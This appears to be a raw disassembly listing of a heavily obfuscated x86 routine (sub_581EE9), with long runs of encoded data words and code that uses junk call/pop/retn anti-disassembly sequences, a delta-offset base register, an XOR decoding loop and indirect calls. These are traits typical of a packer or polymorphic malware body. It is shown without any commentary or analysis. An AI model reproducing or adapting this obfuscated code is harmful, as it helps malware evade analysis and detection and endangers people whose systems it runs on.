		dd 858BC08Bh, 6141819h,	18198589h, 9D8D0614h, 616A752h
		dd 585BD3FFh, 0E25BD83h, 74000614h, 8B535018h, 14181985h
		dd 19858906h, 8D061418h, 16A4419Dh, 5BD3FF06h, 0D1B70F58h
		dd 0FA1958Bh, 79B70614h, 0BD29C08Bh, 6143445h, 13E9h, 52454600h
		dd 91323AD6h, 7F2F957Ch, 982142E8h, 5FFEB66h, 0F25BD83h
		dd 0F000614h, 2C85h, 0E2816600h, 0BD830EB8h, 61409F9h
		dd 1A840F00h, 0E8000000h, 14h, 34396C1Ch, 0DDDC2C39h, 1138083Bh
		dd 0A1351DF8h, 0FE73485Bh, 25BD835Ah, 6140Fh, 3B840Fh
		dd 890F0000h, 1, 31BD83FCh, 6141Eh, 27840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 6B0F15C3h, 8158D680h, 5135E2C2h, 25BD8326h, 6140Fh
		dd 64840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 160424h, 53430000h, 52999FC3h, 10E9h, 4BDA4700h, 5C9D5E31h
		dd 373EDF12h, 9C7E7AEDh, 31BD836Ch, 6141Eh, 24840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0E9F63EC3h, 0FD2A8D0Ah, 0BD838516h, 6140F25h, 17840F00h
		dd 89000000h, 140F719Dh, 51BD8306h, 61407h, 4840Fh, 0BB660000h
		dd 0BD8352D0h, 6140F25h, 27840F00h, 80000000h, 0D3BB39E6h
		dd 834B4FD9h, 140EF1BDh, 840F0006h, 12h, 0BC19D8Bh, 95FF0614h
		dd 6141CF9h, 0D599D8Bh,	0C08B0614h, 4819D8Bh, 0BD830614h
		dd 61410F1h, 83097500h,	140E25BDh, 1A740006h, 0C08B5350h
		dd 24F1858Bh, 85890614h, 61424F1h, 0A7B99D8Dh, 0D3FF0616h
		dd 0BD83585Bh, 6140E25h, 50187400h, 0F1858B53h,	89061424h
		dd 1424F185h, 5A9D8D06h, 0FF0616A4h, 89585BD3h,	141389BDh
		dd 0FD958B06h, 0F061406h, 68Ch,	559D2900h, 8B061402h, 0BC68BBC0h
		dd 0BD83014Bh, 6140F25h, 82840F00h, 50000003h, 31D950Bh
		dd 835B0614h, 1409B1BDh, 840F0206h, 1Ah, 0C3BF0F60h, 8361D08Bh
		dd 1425E5BDh, 850F0106h, 6, 0A699D89h, 0F5600614h, 4D998D8Bh
		dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 1FE5DC3h,	28E0Fh,	0D48A0000h, 19E5958Bh
		dd 4E80614h, 80000000h,	50000000h, 0DE8h, 0AE201000h, 0FC30B83Fh
		dd 0C46BF375h, 0BA66538Bh, 8B5B7515h, 51042444h, 8B5B2FB7h
		dd 0F525000h, 28Dh, 0F616000h, 0D7BB6631h, 89585ABDh, 0B7042444h
		dd 6A58C1h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0F854DC3h, 9589D7B7h, 6142C69h, 0CE80FF6Ah
		dd 195FF6Dh, 8B061408h,	1419B99Dh, 7D1BB06h, 6A613512h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0BB43C351h, 19A2A7E7h, 1D55BD8Dh,	0EFB60614h
		dd 601C4F8Bh, 3DD9509h,	85890614h, 614064Dh, 6A88B261h
		dd 0AE901h, 0B3580000h,	3E0204E7h, 1070CBFCh, 0F525050h
		dd 178Ch, 11E800h, 0FF280000h, 9E8770B8h, 16E28D32h, 5167D5Ch
		dd 5A3F3B1Ah, 0BB66310Fh, 585AFFA5h, 89240C89h,	1409C595h
		dd 0D858D06h, 66061734h, 0CFAAF381h, 0B589D0FFh, 614318Dh
		dd 6A204F8Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 145CC355h, 8E946CFh, 0AE000000h
		dd 354CAC48h, 6A3351DAh, 56006A03h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 2CE98044h, 1F2E012Ch
		dd 0BA6691B4h, 8B505666h, 9D8B91D8h, 6140899h, 340D858Dh
		dd 820F0617h, 10h, 0BE9h, 20A48700h, 0F69365F2h, 905406F4h
		dd 9D8BD0FFh, 61431A1h,	1D55BD8Dh, 6A0614h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0D92EB3C3h
		dd 8B80DFD4h, 9D8B1C4Fh, 6141CE5h, 8D89016Ah, 6141EA5h
		dd 89DF8B50h, 6A240Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 7E5CA9C3h, 9BBAF30Eh, 664CC070h
		dd 0E64FF281h, 0FD5FE3BBh, 0D858D26h, 23061734h, 140CF19Dh
		dd 80D0FF06h, 0D38B3EEAh, 6A204F8Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 82A3C351h
		dd 0A6574D41h, 2190F607h, 4A99D89h, 36A0614h, 12E9h, 44A80900h
		dd 481F52C4h, 0D7B183E7h, 0F990FEC8h, 50FA071Ah, 0AE95250h
		dd 1B000000h, 470DC037h, 0C87A5F0Ch, 5A310F8Bh,	240C8958h
		dd 60E28166h, 86EA814Ah, 8D7EBA67h, 17340D85h, 2DB58906h
		dd 0FF06140Dh, 5E9D0h, 69740000h, 8B787C9Eh, 144D998Dh
		dd 62D38106h, 0FE759FD2h, 858BF801h, 6144D99h, 0FED08B66h
		dd 0DEB70F00h, 6E9h, 3B8C800h, 6A106163h, 50006A01h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
		dd 373C84E7h, 0E1EFB1ABh, 31953156h, 5A061400h,	37ECE368h
		dd 8B0FB8h, 81000000h, 0B31C2404h, 816647C7h, 8D2006F2h
		dd 17341785h, 68A0F06h,	81000000h, 3C3B31EBh, 8AD0FF39h
		dd 0F9BD83DEh, 61409h, 0B6840Fh, 95890000h, 6142A09h, 1CDBD83h
		dd 0F010614h, 0A385h, 0DAB70F00h, 0CED958Bh, 8D8D0614h
		dd 6173421h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	0CDC35040h, 8B0908B2h, 142DE59Dh, 50036A06h, 2FACDB81h
		dd 6A5A0C8Fh, 0D1FFFC01h, 0A6BEA81h, 16A5169h, 0E9BD8B60h
		dd 5206140Eh, 0AE9h, 966BB500h,	0E580F0F9h, 59E6052Ah
		dd 33016A61h, 1401B59Dh, 0D2816606h, 0D1FF9DAFh, 13719D8Bh
		dd 0CBE80614h, 6AFA476Dh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 4BEEC352h, 202C3D05h
		dd 23C01AAh, 0AE8206Ah,	0E4000000h, 3840BE91h, 66805B19h
		dd 0AE95103h, 92000000h, 0AB3D2A4Dh, 56CA8A47h,	6A5B5B93h
		dd 56006AFFh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0E563A767h, 7542B4EBh, 0B5899759h, 6142019h
		dd 80195FFh, 0BD890614h, 614159Dh, 3095958Bh, 0B80614h
		dd 52000000h, 1BD9589h,	0B5A0614h, 38840FC0h, 0B2000000h
		dd 19BD8374h
		dd 6141Bh, 29840Fh, 8C0F0000h, 0Ah, 4810Fh, 0BB660000h
		dd 0D68B9EA8h, 3FD95FFh, 0FD8A0614h, 0AE9h, 0D1DE7F00h
		dd 0AD4D6739h, 8BDEDB30h, 14005585h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 59952384h
		dd 0C606140Ch, 0B9B70000h, 55006A58h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0CA3A3E18h
		dd 0FE8h, 3BACE500h, 2B9FD419h,	0CA5251CBh, 1DB7470Eh
		dd 4CC8C381h, 665B5CB3h, 9D8BD98Ch, 6142FB9h, 0D2DB501h
		dd 0C1F60614h, 7E840F04h, 66000000h, 0E96F4DBAh, 75h, 0E9DBB70Fh
		dd 12h,	410D425Ch, 5F3FEB26h, 0EA1A8AF7h, 0DD94400Ah, 0B58B9B63h
		dd 6143169h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	6BC35646h, 302A4E9Eh, 2BB7659Eh, 0A9F78063h, 1180C681h
		dd 56B60000h, 6C7h, 6A0000h, 3E850h, 58200000h,	448958C3h
		dd 44810424h, 140424h, 50400000h, 8B6662C3h, 29575ED3h
		dd 1408DD9Dh, 0F8835B06h, 2C840F00h, 300000Ch, 1409859Dh
		dd 1F88306h, 160850Fh, 0E2800000h, 0B8A4h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 97A994C3h, 0C00B570Bh, 0C8840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 84B8F3C3h
		dd 5B254D6Fh, 1CF5958Bh, 0F8830614h, 0AB840F01h, 0F5000000h
		dd 0F03F883h, 5284h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 70DD7B08h, 0F405F32h
		dd 680h, 70C38100h, 2B7F791Ch, 0CE9C0h,	77A60000h, 369E634Ah
		dd 0B4E8F1D3h, 0BD8D2629h, 5B89E0h, 0F5DA8166h,	0E7FFF92Ch
		dd 0B8D38B66h, 1, 0BD8DE2B6h, 5B89E0h, 0FF3ECE80h, 53006AE7h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0E1F2645Ah, 0EECEEDE3h, 171B589h, 0BD8D0614h, 6144425h
		dd 184D9D8Bh, 0E9E90614h, 80000002h, 85C716D2h,	6144DF4h
		dd 5, 0B8D78B66h, 5, 13419D33h,	840F0614h, 0Ch,	7E9h, 0F6409C00h
		dd 0DE6040Bh, 0A08E9h, 53006A00h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0EE410557h, 803FA0A5h
		dd 0F88352EAh, 0C9850F02h, 6A000000h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0AC61C351h
		dd 0FE4AE8B7h, 860F42A2h, 6, 3111BD29h,	0B80614h, 0E9000000h
		dd 5, 4D7B182Eh, 218D89F9h, 0B06141Ch, 3E840FC0h, 80000000h
		dd 952B68CAh, 6142559h,	0F01F883h, 0FFFF4584h, 7DB589FFh
		dd 8306140Dh, 840F03F8h, 0FFFFFEE7h, 0C02B8DB6h, 28E0Fh
		dd 0F78A0000h, 89E0BD8Dh, 9D2B005Bh, 61434E1h, 0C780E7FFh
		dd 1DBD8D99h, 0F061446h, 0F1E9DBBFh, 6A000001h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 8B22C351h, 140FC595h, 98D0F06h, 0F000000h, 383h, 0DFBF0F00h
		dd 0F03F883h, 6B85h, 819D8B00h,	0F061404h, 584h, 5907BB00h
		dd 0BD8D3CD8h, 61447B1h, 459D89h, 95E90614h, 6A000001h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0BCEFC351h, 0E8FF5323h, 0Dh, 98736201h, 58EE4AF8h
		dd 63A239D2h, 0A8B0FB6h, 0E9000000h, 5,	7628EDEDh, 95895B9Dh
		dd 6140771h, 0F05F883h,	1385h, 0E9D38B00h, 88Dh, 6880Fh
		dd 66500000h, 5B121EBAh, 0F06F883h, 3985h, 0F9B52900h
		dd 8D06141Ah, 1449A9BDh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0E0FFA065h, 23819D8Bh
		dd 0F1E90614h, 80000000h, 0F88346EAh, 4B850F07h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0F65C350h, 0C85h,	6880F00h, 0F000000h, 89h
		dd 0DBCB8100h, 8D18B24Fh, 1420DDBDh, 45958906h,	0E9061415h
		dd 13Ch, 1ED9958Bh, 0F8830614h,	91850F0Ah, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 6478C355h, 0C409E118h, 80FBA081h, 0BD8D33E2h, 6144BA1h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0BC35242h
		dd 0FCCECB02h, 0AABB07FBh, 8A725198h, 36E9DDh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 6060E0C3h, 8CC78166h, 6E913h, 8E080000h, 0B99AAACBh
		dd 259D2361h, 61061412h, 0E9D18A57h, 11h, 9AF01375h, 0AD8DDFF7h
		dd 0B35BE270h, 0CC813898h, 7529B90Ah, 6A1090h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0F4AE47C3h, 762F567Eh, 8B54A55Ah, 142F999Dh,	3F8306h
		dd 2A840Fh, 9D890000h, 61400C5h, 8D0F0F30h, 3, 0D1D1BF0Fh
		dd 0F018BBC9h, 664709B5h, 8999D1BBh, 1430619Dh,	0FFCFE906h
		dd 0D68BFFFFh, 50006A5Fh, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 768E0D11h, 4D9DBD89h
		dd 8B570614h, 8D8D5BD8h, 6142415h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 82C35747h, 2EEE8888h, 8774C66Eh
		dd 0BE9h, 58949D00h, 9422F9C8h,	3CD55877h, 1869B5FFh, 6A0614h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 958BA9C3h, 6142A75h,	30BD9D8Bh, 858D0614h, 616A07Dh
		dd 8FBD8D50h, 8D061454h, 146FC88Dh, 1ABCB806h, 0CF2B5483h
		dd 0C8D00730h, 0F8754947h, 6F1CB58Dh, 8D8D0614h, 6146FE0h
		dd 0A4F3CF2Bh, 0B8C933h, 0B000000h, 834674C0h, 141B19BDh
		dd 6740006h, 3FD95FFh, 0B58B0614h, 6144D9Dh, 0A07D858Dh
		dd 0D0FF0616h, 43B1858Dh, 0D0FF0614h, 0D985C7h,	10614h
		dd 0A58B0000h, 6140C55h, 1605B58Bh, 0AD8B0614h,	614268Dh
		dd 0CC2C033h, 0A59D8B00h, 6A061420h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0DE93C353h
		dd 0BD830B1Dh, 6140F89h, 10840F00h, 0BB000000h,	5F9F8387h
		dd 1B2595FFh, 8B660614h, 83D18BDFh, 142FE5BDh, 850F0006h
		dd 212h, 2D21BD01h, 0BD830614h,	61401CDh, 0FF850F01h, 6A000001h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0A80CC353h, 350C3D1h, 14204195h, 51BD8306h
		dd 61402h, 1CC840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 95528AC3h, 0B92ED325h
		dd 0DE907h, 10060000h, 68A1506Eh, 7BCE50B5h, 8301AC6Bh
		dd 144DF0BDh, 840F0006h, 18Ah, 14E9h, 98834000h, 0EF3AA5E8h
		dd 84ACC090h, 81E2E6E3h, 40EA5856h, 7D858DB4h, 0F0616A0h
		dd 0B58BDABFh, 6144D9Dh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 18h, 6BC35343h, 5BB67977h,	0B810Fh, 860F0000h
		dd 5
		dd 8591E5BBh, 512FBA26h, 6060505Eh, 0F159D01h, 810F0614h
		dd 0
; ---------------------------------------------------------------------------
		popa
		mov	bx, di
		popa
		call	eax
		push	0
		push	ecx
		call	loc_584D22
		and	[ecx-3Dh], bl


loc_584D22:				; CODE XREF: sub_581EE9+2E31p
		pop	ecx
		mov	[esp-6EBAh+arg_6EB6], ecx
		add	[esp-6EBAh+arg_6EB6], 19h
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		dw 3BFEh
; ---------------------------------------------------------------------------
		adc	edi, [esi]
		cmp	dword ptr [esi-3A7FF745h], 7Bh
		mov	byte ptr [ebp+6140849h], 54h
		mov	edx, [ebp+61407F5h]
		push	0DDFFE7B5h
		jmp	loc_584D68
; ---------------------------------------------------------------------------
		dd 29EC5AF7h, 7F2AB72Eh, 3105877Dh, 0FC81C8F0h,	8FA8654h
; ---------------------------------------------------------------------------


loc_584D68:				; CODE XREF: sub_581EE9+2E66j
		xor	[esp-6EB2h+arg_6EA8+2],	22B15941h
		jbe	loc_584D7A
		add	bx, 11h


loc_584D7A:				; CODE XREF: sub_581EE9+2E86j
		push	dword ptr [ebp+6140C2Dh]
		mov	bx, 9650h
		lea	eax, [ebp+6143B4Eh]
		push	0
		push	ebx
		call	loc_584D95
		and	[ebx-3Dh], bl


loc_584D95:				; CODE XREF: sub_581EE9+2EA4p
		pop	ebx
		mov	[esp-6EB0h+arg_6EAC], ebx
		add	[esp-6EB0h+arg_6EAC], 1Dh
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		pop	edi
		fbld	tbyte ptr ds:614A0D15h
		stc
		cdq
		and	al, 2Bh
		popf
		popf
		sub	dl, [esi+eax]
		mov	bx, di
		call	eax
		push	0
		push	edx
		call	loc_584DC5
		and	[edx-3Dh], bl


loc_584DC5:				; CODE XREF: sub_581EE9+2ED4p
		pop	edx
		mov	[esp-6EBAh+arg_6EB6], edx
		add	[esp-6EBAh+arg_6EB6], 14h
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		mov	ecx, 71852960h
		and	[esi+eax], dl
		mov	[ebp+6141A05h],	ebx
		popa
		push	0
		sub	ebx, [ebp+6140255h]
		push	0FFFFFFFFh
		sub	[ebp+6140999h],	ecx
		call	eax
		push	0
		push	ebp
		call	loc_584E02
		and	[ebp-3Dh], bl


loc_584E02:				; CODE XREF: sub_581EE9+2F11p
		pop	ebp
		mov	[esp-6ED0h+arg_6ECA+2],	ebp
		add	[esp-6ED0h+arg_6ECA+2],	15h
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		mov	edx, 49B5FFDBh
		push	cs
		adc	al, 6
		mov	dx, ax
		call	dword ptr [ebp+6141869h]
		jmp	loc_584E2E
; ---------------------------------------------------------------------------
		dd 0EF8ADAA4h
		db 60h,	7Eh
; ---------------------------------------------------------------------------


loc_584E2E:				; CODE XREF: sub_581EE9+2F3Aj
		mov	esi, [ebp+6144D9Dh]
		mov	[ebp+6140DCDh],	edi
		retn
; ---------------------------------------------------------------------------
		jmp	loc_584E4B
; ---------------------------------------------------------------------------
		push	ebx
		add	bh, bl
		sbb	al, 0CCh
		push	edi
		scasd
		sahf


loc_584E48:				; CODE XREF: sub_581EE9+2F60j
		stosb
		jg	short loc_584E48


loc_584E4B:				; CODE XREF: sub_581EE9+2F52j
		mov	esi, [ebp+6140055h]
		or	esi, esi
		jz	loc_584E7A
		mov	ebx, [ebp+6141119h]
		mov	byte ptr [esi],	0
		jmp	loc_584E7A
; ---------------------------------------------------------------------------
		xchg	eax, esi
		mov	dh, 0EAh
		db	3Eh
		adc	al, 91h
		push	cs
		pop	esp
		xor	eax, 1A6F3BEAh
		sbb	eax, 0E9A3E4AFh
		std


loc_584E7A:				; CODE XREF: sub_581EE9+2F6Aj
					; sub_581EE9+2F79j
		mov	[ebp+6144DA5h],	eax
		push	0
		push	esi
		call	loc_584E8B
		and	[esi-3Dh], bl


loc_584E8B:				; CODE XREF: sub_581EE9+2F9Ap
		pop	esi
		mov	[esp-6EC2h+arg_6EBE], esi
		add	[esp-6EC2h+arg_6EBE], 1Ch
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		db 51h
		dd 0FFDDF851h, 8324C907h, 11E887B7h, 0FE000000h, 16D5AAACh
		dd 84BA326Dh, 0BFA2BDE1h, 33C453DAh, 870F53h, 5A000000h
		dd 0F8835Bh, 399840Fh, 0D08B0000h, 0B8h, 83FD8A00h, 840F00F8h
		dd 0A9h, 83D38B66h, 850F02F8h, 7Fh, 9CB5DB81h, 858D0949h
		dd 6144420h, 0DE8h, 82A9B900h, 0E55012FFh, 0D4D2F5FAh
		dd 2D5BCA5Eh, 929h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 0C9C35040h, 20F2BDB1h, 0DE8041F0h, 65B29061h
		dd 8B666050h, 819061CBh, 0A8AB08C2h, 0C34AB24Fh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0BBC35242h, 459D8BC1h
		dd 0B8061409h, 0
; ---------------------------------------------------------------------------
		jmp	loc_584F7E
; ---------------------------------------------------------------------------
		retf	20B0h
; ---------------------------------------------------------------------------
		dd 93C07D0Eh
		db 0A3h, 0CEh
; ---------------------------------------------------------------------------


loc_584F7E:				; CODE XREF: sub_581EE9+3087j
		jmp	loc_585267
; ---------------------------------------------------------------------------
		mov	[ebp+6141655h],	esi
		mov	eax, 1
		push	0
		push	ecx
		call	loc_584F99
		and	[ecx-3Dh], bl


loc_584F99:				; CODE XREF: sub_581EE9+30A8p
		pop	ecx
		mov	[esp-6EC0h+arg_6EBA+2],	ecx
		add	[esp-6EC0h+arg_6EBA+2],	1Ch
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		align 2
		dw 8BE2h
; ---------------------------------------------------------------------------
		sbb	dword ptr [ebp-3], 8D2367FFh
		mov	ebp, 6144425h
		mov	dx, 8056h
		jmp	loc_5850F4
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	loc_584FCC
		and	[esi-3Dh], bl


loc_584FCC:				; CODE XREF: sub_581EE9+30DBp
		pop	esi
		mov	[esp+4], esi
		add	dword ptr [esp+4], 1Ch
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		popa
		or	ebp, [ecx]
		retn
; ---------------------------------------------------------------------------
		dd 3F4C4EA8h, 0A4EA81B6h, 832B2485h, 850F02F8h,	84h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 81C35242h, 84F197DFh
		dd 80FFBE16h, 0BD8D46CFh, 614461Dh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 7EC35343h, 0B10B69FBh, 0E89FEF4Fh
		dd 12h,	0B7DAEB63h, 0C8C40A36h,	8C30A825h, 0AC2504E0h
		dd 9D8BA17Bh, 6141131h,	0E19D8B5Ah, 0E9061434h,	88h, 541DE381h
		dd 95310005h, 6141121h,	0F03F883h, 1D85h, 99D0B00h, 8D06141Fh
		dd 1447B1BDh, 0ED9D0106h, 0E9061402h, 5Ch, 491B589h, 0F8830614h
		dd 4D850F05h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 9EA7C355h, 8BEE0FD2h
		dd 8B9A46EDh, 1409459Dh, 0B7E906h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0D78BAAC3h
; ---------------------------------------------------------------------------


loc_5850F4:				; CODE XREF: sub_581EE9+30D3j
		push	edi
		add	ebx, 98B11E2h
		mov	bx, 0EDBDh
		mov	ecx, 10907529h
		mov	dx, 3939h
		or	ebx, [ebp+6142B89h]


loc_58510E:				; CODE XREF: sub_581EE9+3282j
		cmp	dword ptr [edi], 0
		jz	loc_58518D
		jmp	loc_58512C
; ---------------------------------------------------------------------------
		dd 0B9B6579Dh, 0DFA21D3Fh, 63D7420Eh, 0EA206C95h
; ---------------------------------------------------------------------------


loc_58512C:				; CODE XREF: sub_581EE9+322Ej
		xor	[edi], cl
		push	0
		push	ebp
		call	loc_585139
		and	[ebp-3Dh], bl


loc_585139:				; CODE XREF: sub_581EE9+3248p
		pop	ebp
		mov	[esp-6EBAh+arg_6EB6], ebp
		add	[esp-6EBAh+arg_6EB6], 19h
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		db 0B4h, 16h, 0EEh
; ---------------------------------------------------------------------------
		lodsb
		cli
		setalc
		movsx	ebx, ax
		mov	edx, [ebp+6142F99h]
		mov	ebx, 1B8E07B1h
		ror	ecx, 1
		mov	[ebp+6140655h],	edi
		inc	edi
		mov	edx, 4EFB4812h
		jmp	loc_58510E
; ---------------------------------------------------------------------------
		dd 0FE8h, 58AA1100h, 0CFE49B8Eh, 0DDC06716h, 0C513F8F7h
		dd 5BDAB70Fh, 13E28166h
		db 1
; ---------------------------------------------------------------------------


loc_58518D:				; CODE XREF: sub_581EE9+3228j
		cmp	eax, 5
		jnz	loc_585267
		push	0
		push	ebx
		call	loc_5851A1
		and	[ebx-3Dh], bl


loc_5851A1:				; CODE XREF: sub_581EE9+32B0p
		pop	ebx
		mov	[esp-6EBAh+arg_6EB6], ebx
		add	[esp-6EBAh+arg_6EB6], 15h
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		rcr	byte ptr [ebx+2DD58D01h], 14h
		push	es
		mov	dh, 0A7h
		mov	cx, ds
		sbb	bh, 6Ah
		push	eax
		or	ebx, [ebp+61404A1h]
		pop	ebx
		test	cl, 4
		jnz	loc_585230
		push	0
		push	eax
		call	loc_5851DD
		and	[eax-3Dh], bl


loc_5851DD:				; CODE XREF: sub_581EE9+32ECp
		pop	eax
		mov	[esp+4], eax
		add	dword ptr [esp+4], 17h
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		db 7Dh,	0D5h, 8Fh
; ---------------------------------------------------------------------------
		pop	eax
		mov	ebx, [ebp+6143119h]
		push	eax
		xor	edx, 6D79F13h
		pop	ebx
		mov	eax, 0
		mov	bx, 9470h
		jmp	loc_585267
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	loc_585218
		and	[ecx-3Dh], bl


loc_585218:				; CODE XREF: sub_581EE9+3327p
		pop	ecx
		mov	[esp-6EB6h+arg_6EB2], ecx
		add	[esp-6EB6h+arg_6EB2], 1Bh
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		dd 0A1689D92h, 11EC6290h
; ---------------------------------------------------------------------------


loc_585230:				; CODE XREF: sub_581EE9+32E3j
		mov	eax, [ebp+6140ABDh]
		push	0
		push	edx
		call	loc_585241
		and	[edx-3Dh], bl


loc_585241:				; CODE XREF: sub_581EE9+3350p
		pop	edx
		mov	[esp+4], edx
		add	dword ptr [esp+4], 18h
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		db 0D0h, 18h, 7Dh
		dd 66F96E7Ah, 0E0FFDE8Bh, 36E9DFBBh, 9D9D095Dh
; ---------------------------------------------------------------------------
		das
		adc	al, 6


loc_585267:				; CODE XREF: sub_581EE9:loc_584F7Ej
					; sub_581EE9+32A7j ...
		cmp	dword ptr [ebp+6141869h], 0
		jnz	loc_58534B
		mov	edx, esi
		jmp	loc_585289
; ---------------------------------------------------------------------------
		db 0E7h
; ---------------------------------------------------------------------------
		pop	edx
		mov	esp, 6B0741FCh
		clc
		daa
		cmp	eax, 531B7186h


loc_585289:				; CODE XREF: sub_581EE9+338Dj
		nop
		jmp	loc_585298
; ---------------------------------------------------------------------------
		db 55h
		dd 0D56CD88Fh, 0C2182F78h
; ---------------------------------------------------------------------------


loc_585298:				; CODE XREF: sub_581EE9+33A1j
		push	eax
		jmp	loc_5852AE
; ---------------------------------------------------------------------------
		dw 930h
		dd 5DC7485h, 2CB156B8h,	25C0DF14h
		db 90h
		db 66h
; ---------------------------------------------------------------------------


loc_5852AE:				; CODE XREF: sub_581EE9+33B0j
		nop
		jbe	loc_5852C1
		jns	loc_5852C1
		and	ebx, [ebp+6140DD9h]


loc_5852C1:				; CODE XREF: sub_581EE9+33C6j
					; sub_581EE9+33CCj
		pusha
		mov	bx, 6F31h
		push	edi
		mov	[ebp+6140BB9h],	eax
		pop	ebx
		popa
		mov	byte ptr [ebp+6140849h], 45h
		xor	edx, [ebp+6142F91h]
		push	9AD323DAh
		xor	[esp-6EBAh+arg_6EB2], 14A14AB3h
		push	0
		push	esi
		call	loc_5852F3
		and	[esi-3Dh], bl


loc_5852F3:				; CODE XREF: sub_581EE9+3402p
		pop	esi
		mov	[esp-6EBCh+arg_6EB6+2],	esi
		add	[esp-6EBCh+arg_6EB6+2],	15h
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		db 79h
		dd 0CBE380C8h, 0C2DB5FFh, 9D890614h, 61423EDh, 3B4E858Dh
		dd 7E80614h, 9F000000h,	0A7DF11E9h, 0BB666EEBh,	0FF5BEC66h
		dd 559589D0h, 89061404h, 14186985h, 0D88B6606h,	6810Fh
		dd 8D290000h, 6141F7Dh
; ---------------------------------------------------------------------------
		pop	eax
		mov	ebx, edx


loc_58534B:				; CODE XREF: sub_581EE9+3385j
		cmp	dword ptr [ebp+6144DF4h], 0
		jz	loc_58539A
		mov	[ebp+6140041h],	edx
		push	dword ptr [ebp+6140E49h]
		movsx	ebx, bx
		call	dword ptr [ebp+6141869h]
		push	0
		push	eax
		call	loc_585378
		and	[eax-3Dh], bl


loc_585378:				; CODE XREF: sub_581EE9+3487p
		pop	eax
		mov	[esp-6EC0h+arg_6EBA+2],	eax
		add	[esp-6EC0h+arg_6EBA+2],	16h
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		dd 0E96591CDh, 0Ah, 43101100h, 0B26CDFD0h
; ---------------------------------------------------------------------------
